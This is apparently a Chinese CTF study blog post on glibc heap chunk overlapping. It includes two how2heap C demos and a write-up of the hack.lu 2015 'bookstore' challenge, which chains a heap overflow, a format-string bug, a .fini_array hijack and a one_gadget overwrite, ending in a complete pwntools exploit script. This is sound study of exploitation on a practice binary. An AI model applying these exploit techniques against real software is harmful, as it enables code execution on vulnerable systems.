overlapping!挺简单的,例题有点离谱但也涨了不少姿势
原理
在2.29unsorted bin增加chunk的size检查之前,如果我们能够控制next chunk的size那就能造成堆块重叠
1 2
| if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
|
利用一
2.26以前
实验代码如下(来自how2heap):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x100 - 8); p2 = malloc(0x100 - 8); p3 = malloc(0x80 - 8);
memset(p1, '1', 0x100 - 8); memset(p2, '2', 0x100 - 8); memset(p3, '3', 0x80 - 8);
free(p2);
int evil_chunk_size = 0x181; int evil_region_size = 0x180 - 8;
*(p2-1) = evil_chunk_size;
p4 = malloc(evil_region_size);
memset(p4, '4', evil_region_size); memset(p3, '3', 80); }
|
示意图如下:
我们就能通过p4控制p3
2.27-2.28
有了tcache,申请的size要大于tcache的范围
2.29以后
控制top chunk的preinuse位和presize这个方法依然能够使用
利用二
实验代码如下(来自how2hwap):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h>
int main(){ intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1;
p1 = malloc(1000); p2 = malloc(1000); p3 = malloc(1000); p4 = malloc(1000); p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1); real_size_p2 = malloc_usable_size(p2); real_size_p3 = malloc_usable_size(p3); real_size_p4 = malloc_usable_size(p4); real_size_p5 = malloc_usable_size(p5);
memset(p1,'A',real_size_p1); memset(p2,'B',real_size_p2); memset(p3,'C',real_size_p3); memset(p4,'D',real_size_p4); memset(p5,'E',real_size_p5);
free(p4);
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
free(p2);
p6 = malloc(2000); real_size_p6 = malloc_usable_size(p6);
memset(p6,'F',1500); }
|
示意图如下:
触发合并能够控制更多的chunk,且所有版本都可用
例题
hack.lu CTF 2015-bookstore
静态分析
漏洞挺多,主要利用的有两个
- edit函数中的数据读入没有长度限制
- 最后有一个格式化字符串漏洞
漏洞很多的同时限制也很多,只有两个0x90的堆块可以编辑和释放,以及能申请一个0x140的堆块,但申请完之后会直接退出
思路
要触发格式化字符串就要控制dest。如果我们通过edit(order2)来控制dest,edit完又会在dest处写”Your order is submitted!\n”,所以我们就要考虑用别的方法控制dest,过程如下:
- free(order2)
- 通过order1的溢出更改order2的size为0x151,这样执行submit过程时使用的chunk order3实际上是order2
- 之后会先把order1的内容copy到order2中,再把order2的内容(还是order1的内容)copy到order2中,所以只要order1的data足够长就能溢出到dest中,如果在order1中写入格式化字符串,就能触发格式化字符串漏洞
还要解决两个问题,就是如何利用格式化字符串返回main函数,第二次执行main函数的时候如何执行one_gadget
第一个问题我们可以通过劫持fini_array实现(通过这道题涨的新姿势)
第二个问题我们可以通过泄露栈地址,格式化字符串漏洞修改返回地址为one_gadget实现(所以说这是道格式化字符串题不是道堆题(╯‵□′)╯︵┻━┻)
fini_array
先捋一遍程序的运行过程
众所周知,main并不是程序真正的入口,真正的入口应该是start
0x400780就是bookstore程序的start函数
gdb跟踪一下程序的过程
- start函数首先调用了__libc_start_main
- __libc_start_main有一个call rbp的过程
实际调用的是0x400cb0,即init函数
- init函数中有个call qword ptr [r12 + rbx*8]的过程,此时r12中存的是0x6011b0,rbx中存的是0
0x6011b0实际上就是.init_array段,即调用函数sub_400850
- __libc_start_main执行完init函数后有一个call rax,此时rax存的是0x400a39,就是执行main函数了
- __libc_start_main结束main函数后调用exit
- exit调用的__run_exit_handlers函数有一个call rdx的过程,rdx存的是_dl_fini函数
但不知道为啥实际执行的是sub_0x400830(源码好复杂看不懂),就是.fini_array段的内容
- 之后程序就结束了
虽然有点云里雾里,但利用方法以及很清楚了,就是利用格式化字符串修改.fini_array段的内容为main函数的地址
在No RELRO的情况下.fini_array段是可写的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context.log_level='debug' context.arch='amd64' context.os='linux'
def edit1(content): p.sendlineafter(b'5: Submit\n',b'1') p.sendlineafter(b'Enter first order:\n',content) def edit2(content): p.sendlineafter(b'5: Submit\n',b'2') p.sendlineafter(b'Enter second order:\n',content) def del1(): p.sendlineafter(b'5: Submit\n',b'3') def del2(): p.sendlineafter(b'5: Submit\n',b'4') def submit(command): p.sendlineafter(b'5: Submit\n',b'5'+command)
p=process('./bookstore') libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') del2() edit1(b'Q'*0x10+b'%2617c%13$hn%31$p%28$p'+b'Q'*(0x60-34)+b'\x00'*28+p64(0)+p64(0x151)) submit(b'\x00'*7+p64(0x6011b8)) p.recvuntil(b'0x') s=p.recvuntil(b'0x')[:-2] ss=p.recvuntil(b'Q')[:-1] libcbase=int(s,16)-libc.symbols['__libc_start_main']-240 stack=int(ss,16)-0xf50+0xd68 print(hex(libcbase)) print(hex(stack)) one_addr=p64(libcbase+0x45206) x=one_addr[2] p.sendline(b'4')
payload='%'+str(x)+'c'+'%13$hhn'+'%'+str(0x5206-x)+'c'+'%14$hn' edit1(b'Q'*0x10+payload.encode()+b'Q'*(0x60-12-len(payload))+b'\x00'*28+p64(0)+p64(0x151)) submit(b'\x00'*7+p64(stack+2)+p64(stack)) p.interactive()
|